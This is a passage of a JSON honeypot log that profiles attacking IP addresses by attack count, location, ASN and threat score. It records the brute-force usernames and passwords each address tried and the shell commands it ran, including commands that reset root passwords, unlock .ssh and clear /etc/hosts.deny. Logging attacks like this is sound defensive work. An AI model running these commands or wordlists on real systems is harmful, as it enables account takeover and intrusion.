        "last_seen_30d": "2026-03-04T12:59:16.833000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3528,
        "Suricata": 1428
      }
    },
    "209.14.6.22": {
      "attack_count": 2578,
      "first_seen": "2026-03-07T17:49:54.211Z",
      "last_seen": "2026-03-10T20:49:59.225Z",
      "sessions": 512,
      "ports": [],
      "usernames_attempted": [
        "root",
        "emo",
        "centos",
        "admin",
        "support"
      ],
      "passwords_attempted": [
        "Itsemoemo2025@Washere2025",
        "Itsemoemo2025@Fuck@allPBX",
        "123456ewq!",
        "2025Adm1n",
        "K61719ab",
        "asterisk2025",
        "123456FreePbx!",
        "123456Voip!",
        "123456root",
        "123456zaq!",
        "1234Admin.!",
        "1234Call",
        "1234Qwe",
        "1234Zxc@",
        "123asterisk!",
        "123iss@bel",
        "123password",
        "2024ipbx!",
        "2025ASD!",
        "2026Issabel@"
      ],
      "commands_executed": [
        "echo login_success",
        "uname -a",
        "env | head -10",
        "netstat -tulpn | head -10"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Jos\u00e9 do Rio Preto",
      "asn": 272764,
      "as_org": "DaLink Telecom LTDA",
      "threat_score": 22.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 3.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 5472,
        "days_active_30d": 4,
        "ports_targeted_30d": 549,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-07T17:10:49+00:00",
        "last_seen_30d": "2026-03-10T20:51:04.707000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2578,
        "Suricata": 2293,
        "Honeytrap": 598,
        "Redishoneypot": 3
      }
    },
    "41.249.46.59": {
      "attack_count": 2334,
      "first_seen": "2026-03-28T00:52:25.312Z",
      "last_seen": "2026-03-29T00:50:49.380Z",
      "sessions": 778,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Morocco",
      "country_code": "MA",
      "city": "Fes",
      "asn": 36903,
      "as_org": "MT-MPLS",
      "threat_score": 40.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 4150,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T00:52:25.312000+00:00",
        "last_seen_30d": "2026-03-29T00:51:55.007000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2334,
        "Suricata": 1816
      }
    },
    "182.93.50.90": {
      "attack_count": 922,
      "first_seen": "2026-03-03T21:37:54.729Z",
      "last_seen": "2026-03-16T19:11:13.669Z",
      "sessions": 67,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "7days",
        "ariel",
        "eoffice",
        "jirka",
        "km",
        "n8n",
        "remoteuser",
        "alpha",
        "christian",
        "demo",
        "dhkim",
        "julia",
        "kafka",
        "kobo",
        "krishna",
        "orange",
        "panel",
        "rohit"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123456",
        "12345",
        "12345678",
        "!Qq123456",
        "!qaz2wsx.",
        "00001111",
        "1234",
        "14521452",
        "1Q2W3e4r",
        "1Qwertyuiop",
        "2025",
        "A123456!",
        "ASD123asd",
        "Aa123456!@#",
        "Alpha123!",
        "Bingo@1993",
        "Cc112233"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"123\\n9dyUMqs7ysOI\\n9dyUMqs7ysOI\\n\"|passwd",
        "echo \"123\\nwbIW7WlIRWM2\\nwbIW7WlIRWM2\\n\"|passwd",
        "echo \"Km123\\nOx92TBDZVea5\\nOx92TBDZVea5\\n\"|passwd",
        "echo \"eofficeeoffice\\n58cHGRZYAtwd\\n58cHGRZYAtwd\\n\"|passwd",
        "echo \"jirka\\nGOCmtvPA8W5t\\nGOCmtvPA8W5t\\n\"|passwd",
        "echo \"n8n\\nVZeLs9H35J93\\nVZeLs9H35J93\\n\"|passwd",
        "echo \"remoteuser123!\\n4x88gkPZKesD\\n4x88gkPZKesD\\n\"|passwd",
        "echo \"root:9I7sAsVbAPIg\"|chpasswd|bash",
        "echo \"root:W36TRtmsoavZ\"|chpasswd|bash",
        "echo \"root:pXWw2qmMI19K\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Macao",
      "country_code": "MO",
      "city": null,
      "asn": 4609,
      "as_org": "Companhia de Telecomunicacoes de Macau SARL",
      "threat_score": 26.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 1082,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T21:37:54.729000+00:00",
        "last_seen_30d": "2026-03-16T19:12:17.744000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 922,
        "Suricata": 160
      }
    },
    "128.140.4.173": {
      "attack_count": 908,
      "first_seen": "2026-03-08T20:05:02.092Z",
      "last_seen": "2026-03-08T22:22:54.320Z",
      "sessions": 179,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "gerrit",
        "git",
        "hadoop",
        "mysql",
        "oracle",
        "postgres",
        "test",
        "test1",
        "www",
        "zabbix",
        "ftptest",
        "test2",
        "test3",
        "test4",
        "testuser",
        "usertest"
      ],
      "passwords_attempted": [
        "1",
        "12",
        "123",
        "1234",
        "12345",
        "123456",
        "1234567",
        "12345678",
        "123456789",
        "1234567890",
        "passw0rd",
        "password",
        "admin",
        "ftptest",
        "gerrit",
        "git",
        "hadoop",
        "mysql",
        "oracle",
        "postgres"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Nuremberg",
      "asn": 24940,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 1295,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T20:05:02.092000+00:00",
        "last_seen_30d": "2026-03-08T22:23:56.556000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 908,
        "Suricata": 387
      }
    },
    "209.46.120.16": {
      "attack_count": 746,
      "first_seen": "2026-03-04T12:16:47.600Z",
      "last_seen": "2026-03-25T22:29:08.355Z",
      "sessions": 67,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "administrator",
        "claude",
        "elemental",
        "student2",
        "user3",
        "web_admin",
        "User",
        "apps",
        "ashish",
        "bitch",
        "bitwarden",
        "cdr",
        "comp",
        "cs",
        "ftpuser01",
        "informatica",
        "installer",
        "itadmin"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "12345678",
        "123456",
        "1234",
        "!QAZxdr5",
        "1",
        "123",
        "123456abcd",
        "13141314",
        "Aa12345678@",
        "Abc123",
        "Bingo@1993",
        "Bitwarden123!",
        "Elemental123!",
        "Installer123!",
        "Itadmin123",
        "Qwer1234@",
        "Sa123123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"1\\nut8zL7AATWHG\\nut8zL7AATWHG\\n\"|passwd",
        "echo \"Elemental123!\\na28SJVhUXVin\\na28SJVhUXVin\\n\"|passwd",
        "echo \"Student2123\\neO7LXrQeig3f\\neO7LXrQeig3f\\n\"|passwd",
        "echo \"Web_admin123\\nTLdkeM12JnWD\\nTLdkeM12JnWD\\n\"|passwd",
        "echo \"root:fcGjzsbY03n9\"|chpasswd|bash",
        "echo \"root:l8pnfQ0kwvvm\"|chpasswd|bash",
        "echo \"user3\\nJo2foh6NyuRd\\nJo2foh6NyuRd\\n\"|passwd",
        "echo -e \"1\\nut8zL7AATWHG\\nut8zL7AATWHG\"|passwd|bash",
        "echo -e \"Elemental123!\\na28SJVhUXVin\\na28SJVhUXVin\"|passwd|bash",
        "echo -e \"Student2123\\neO7LXrQeig3f\\neO7LXrQeig3f\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 8560,
      "as_org": "IONOS SE",
      "threat_score": 47.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 29.6,
        "persistence": 18.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 902,
        "days_active_30d": 22,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T12:16:47.600000+00:00",
        "last_seen_30d": "2026-03-25T22:30:12.119000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 746,
        "Suricata": 156
      }
    },
    "172.200.228.35": {
      "attack_count": 608,
      "first_seen": "2026-03-03T02:13:57.043Z",
      "last_seen": "2026-03-28T13:32:20.479Z",
      "sessions": 63,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "arjun",
        "botuser",
        "legales",
        "admin1",
        "ankit",
        "backupuser",
        "claude",
        "ekp",
        "ems",
        "external",
        "g",
        "hath",
        "jitendra",
        "karim",
        "thomas",
        "user05",
        "wyy",
        "xx"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "1233218613",
        "0000",
        "1234-qwer",
        "12345",
        "123456",
        "12345678",
        "123698547",
        "123Qwe!@#",
        "123QweasD",
        "13102026",
        "1994",
        "Backupuser123!",
        "Botuser123!",
        "G123",
        "Hr123456",
        "Karim123!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"123\\nJcfURfVuEGjF\\nJcfURfVuEGjF\\n\"|passwd",
        "echo \"Botuser123!\\npiewYKQ7nSS6\\npiewYKQ7nSS6\\n\"|passwd",
        "echo \"legales123\\nmTSqYu4ZRPlX\\nmTSqYu4ZRPlX\\n\"|passwd",
        "echo \"root:40Ivrc9es2xj\"|chpasswd|bash",
        "echo \"root:xtDxzSuqd7xG\"|chpasswd|bash",
        "echo -e \"123\\nJcfURfVuEGjF\\nJcfURfVuEGjF\"|passwd|bash",
        "echo -e \"Botuser123!\\npiewYKQ7nSS6\\npiewYKQ7nSS6\"|passwd|bash",
        "echo -e \"legales123\\nmTSqYu4ZRPlX\\nmTSqYu4ZRPlX\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Boydton",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 56.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.8,
        "persistence": 21.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 758,
        "days_active_30d": 26,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T02:13:57.043000+00:00",
        "last_seen_30d": "2026-03-28T13:33:25.593000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 608,
        "Suricata": 150
      }
    },
    "124.7.227.98": {
      "attack_count": 532,
      "first_seen": "2026-03-03T08:14:14.937Z",
      "last_seen": "2026-03-17T02:56:53.888Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admins",
        "ai",
        "bryan",
        "develop",
        "gw",
        "linux",
        "mo",
        "mukul",
        "pm2user",
        "purple",
        "root1",
        "ruben",
        "sam",
        "samba",
        "testuser",
        "wialon"
      ],
      "passwords_attempted": [
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "!P@ssw0rd",
        "123",
        "1234",
        "123456",
        "1qaz!qaz",
        "1qaz2WSX3edc",
        "Aa112233.",
        "Abc123!!!",
        "Gw123!",
        "Mo123!",
        "Mukul123!",
        "Ruben123",
        "bryanpass",
        "pass",
        "qQ123456",
        "root1"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "uname -m",
        "w",
        "which ls",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345678\\nOb9PG56NIj7F\\nOb9PG56NIj7F\\n\"|passwd",
        "echo \"12345\\nTQDGPUtWkEdw\\nTQDGPUtWkEdw\\n\"|passwd",
        "echo \"Ruben123\\n44ey1E2kIFw4\\n44ey1E2kIFw4\\n\"|passwd",
        "echo \"root:9rVJIqKiU6b8\"|chpasswd|bash",
        "echo \"root:KwQtVeN0t2ql\"|chpasswd|bash",
        "echo \"root:TowP0o1tYs1g\"|chpasswd|bash",
        "echo \"root:te9WHOf7UVHa\"|chpasswd|bash",
        "echo -e \"12345678\\nOb9PG56NIj7F\\nOb9PG56NIj7F\"|passwd|bash",
        "echo -e \"12345\\nTQDGPUtWkEdw\\nTQDGPUtWkEdw\"|passwd|bash",
        "echo -e \"Ruben123\\n44ey1E2kIFw4\\n44ey1E2kIFw4\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.connect",
        "cowrie.session.closed",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 9583,
      "as_org": "Sify Limited",
      "threat_score": 27.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.8,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 605,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T08:14:14.937000+00:00",
        "last_seen_30d": "2026-03-17T02:58:00.705000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 532,
        "Suricata": 73
      }
    },
    "103.52.114.250": {
      "attack_count": 523,
      "first_seen": "2026-03-12T08:35:55.447Z",
      "last_seen": "2026-03-23T00:08:01.014Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "ks",
        "n8n",
        "root",
        "ts3server",
        "vpnbot",
        "webserver",
        "alfredo",
        "alumno",
        "cs",
        "deamon",
        "hsadmin",
        "macha",
        "mailuser",
        "personal",
        "syncuser",
        "test",
        "ubuntu",
        "user10",
        "vendas"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1",
        "1234",
        "Ctyun@2026",
        "Deamon123",
        "Webapps123",
        "Wialon123!",
        "abcd1234",
        "alfredo",
        "alumnopass",
        "cs123",
        "ks123",
        "n8n",
        "personal2025",
        "test12345678",
        "ts3server123!",
        "user10123",
        "vendas123"
      ],
      "commands_executed": [
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"ks123\\naetxkzInebb7\\naetxkzInebb7\\n\"|passwd",
        "echo \"n8n\\nE9jIMaAusOeg\\nE9jIMaAusOeg\\n\"|passwd",
        "echo \"root:KY20NtkaMIik\"|chpasswd|bash",
        "echo \"ts3server123!\\nCvt4UJwExrIE\\nCvt4UJwExrIE\\n\"|passwd",
        "echo \"vpnbot123\\nKo4HBHERjAzy\\nKo4HBHERjAzy\\n\"|passwd",
        "echo \"webserver\\nKITQoXQg2Rvf\\nKITQoXQg2Rvf\\n\"|passwd",
        "echo -e \"ks123\\naetxkzInebb7\\naetxkzInebb7\"|passwd|bash",
        "echo -e \"n8n\\nE9jIMaAusOeg\\nE9jIMaAusOeg\"|passwd|bash",
        "echo -e \"ts3server123!\\nCvt4UJwExrIE\\nCvt4UJwExrIE\"|passwd|bash",
        "echo -e \"vpnbot123\\nKo4HBHERjAzy\\nKo4HBHERjAzy\"|passwd|bash",
        "echo -e \"webserver\\nKITQoXQg2Rvf\\nKITQoXQg2Rvf\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.closed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 36.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.8,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 597,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T08:35:55.447000+00:00",
        "last_seen_30d": "2026-03-23T00:09:03.556000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 523,
        "Suricata": 74
      }
    },
    "210.79.190.209": {
      "attack_count": 503,
      "first_seen": "2026-03-05T05:48:15.974Z",
      "last_seen": "2026-03-12T11:10:44.214Z",
      "sessions": 42,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "admin",
        "n8n",
        "node",
        "devman",
        "ems",
        "home",
        "leon",
        "max",
        "obc",
        "sd",
        "shiyi",
        "user",
        "xx"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "1234",
        "12345",
        "1qaz!QAZ1qaz",
        "@a1234567",
        "AA123456+",
        "ABCabc123@",
        "Aa!123456",
        "Abcd123!@#",
        "Bingo@1993",
        "QWE123",
        "Qwerty78",
        "a12345678.",
        "a123456987a",
        "aA.2024",
        "aa-2024",
        "aa123456..",
        "aa1qaz@WSX"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"123456\\n5F6Y9TU7ZODK\\n5F6Y9TU7ZODK\\n\"|passwd",
        "echo \"aA.2024\\nluNxXMJE8wT0\\nluNxXMJE8wT0\\n\"|passwd",
        "echo \"n8n\\ncW5HrwDo8tRq\\ncW5HrwDo8tRq\\n\"|passwd",
        "echo \"root:hB8bx9EnqoZk\"|chpasswd|bash",
        "echo \"root:sUe4dgswwH7R\"|chpasswd|bash",
        "echo -e \"123456\\n5F6Y9TU7ZODK\\n5F6Y9TU7ZODK\"|passwd|bash",
        "echo -e \"aA.2024\\nluNxXMJE8wT0\\nluNxXMJE8wT0\"|passwd|bash",
        "echo -e \"n8n\\ncW5HrwDo8tRq\\ncW5HrwDo8tRq\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.8,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 605,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T05:48:15.974000+00:00",
        "last_seen_30d": "2026-03-12T11:11:51.999000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 503,
        "Suricata": 102
      }
    },
    "20.40.73.192": {
      "attack_count": 476,
      "first_seen": "2026-03-04T12:35:37.701Z",
      "last_seen": "2026-03-31T15:50:26.640Z",
      "sessions": 47,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "east",
        "roy",
        "User",
        "andre",
        "ddd",
        "django",
        "f",
        "logan",
        "lucas",
        "mcuser",
        "proxyuser",
        "silvia",
        "testik",
        "xwang",
        "yann"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "!1qa@ws",
        "1012",
        "123456",
        "12345678",
        "123Qwertyuiop",
        "123asd,./",
        "Aa135246",
        "Bingo@1993",
        "P@ssw0rd112233",
        "Password@1234!",
        "Silvia123!",
        "Ss147258!",
        "Ws123456!",
        "Zy123456",
        "ab123456",
        "admin1",
        "admin12345678"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123\\nbcTD0BAzr6ej\\nbcTD0BAzr6ej\\n\"|passwd",
        "echo \"root:KVWcz2mFKhSm\"|chpasswd|bash",
        "echo \"root:eqRzhG3M4lu9\"|chpasswd|bash",
        "echo \"root:w6ViGGNIPm3s\"|chpasswd|bash",
        "echo -e \"123\\nbcTD0BAzr6ej\\nbcTD0BAzr6ej\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 63.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 27.7,
        "persistence": 23.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 589,
        "days_active_30d": 28,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T12:35:37.701000+00:00",
        "last_seen_30d": "2026-03-31T15:51:34.899000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 476,
        "Suricata": 113
      }
    },
    "43.165.3.187": {
      "attack_count": 474,
      "first_seen": "2026-03-23T07:49:07.613Z",
      "last_seen": "2026-03-28T20:01:50.667Z",
      "sessions": 48,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "nathaniel",
        "simon",
        "ajay",
        "alfredo",
        "anand",
        "d",
        "ds",
        "esuser",
        "kodiak",
        "kube",
        "lucas",
        "minecraft",
        "mk",
        "mohammad",
        "pop",
        "production",
        "sdtdserver",
        "superv"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "12345",
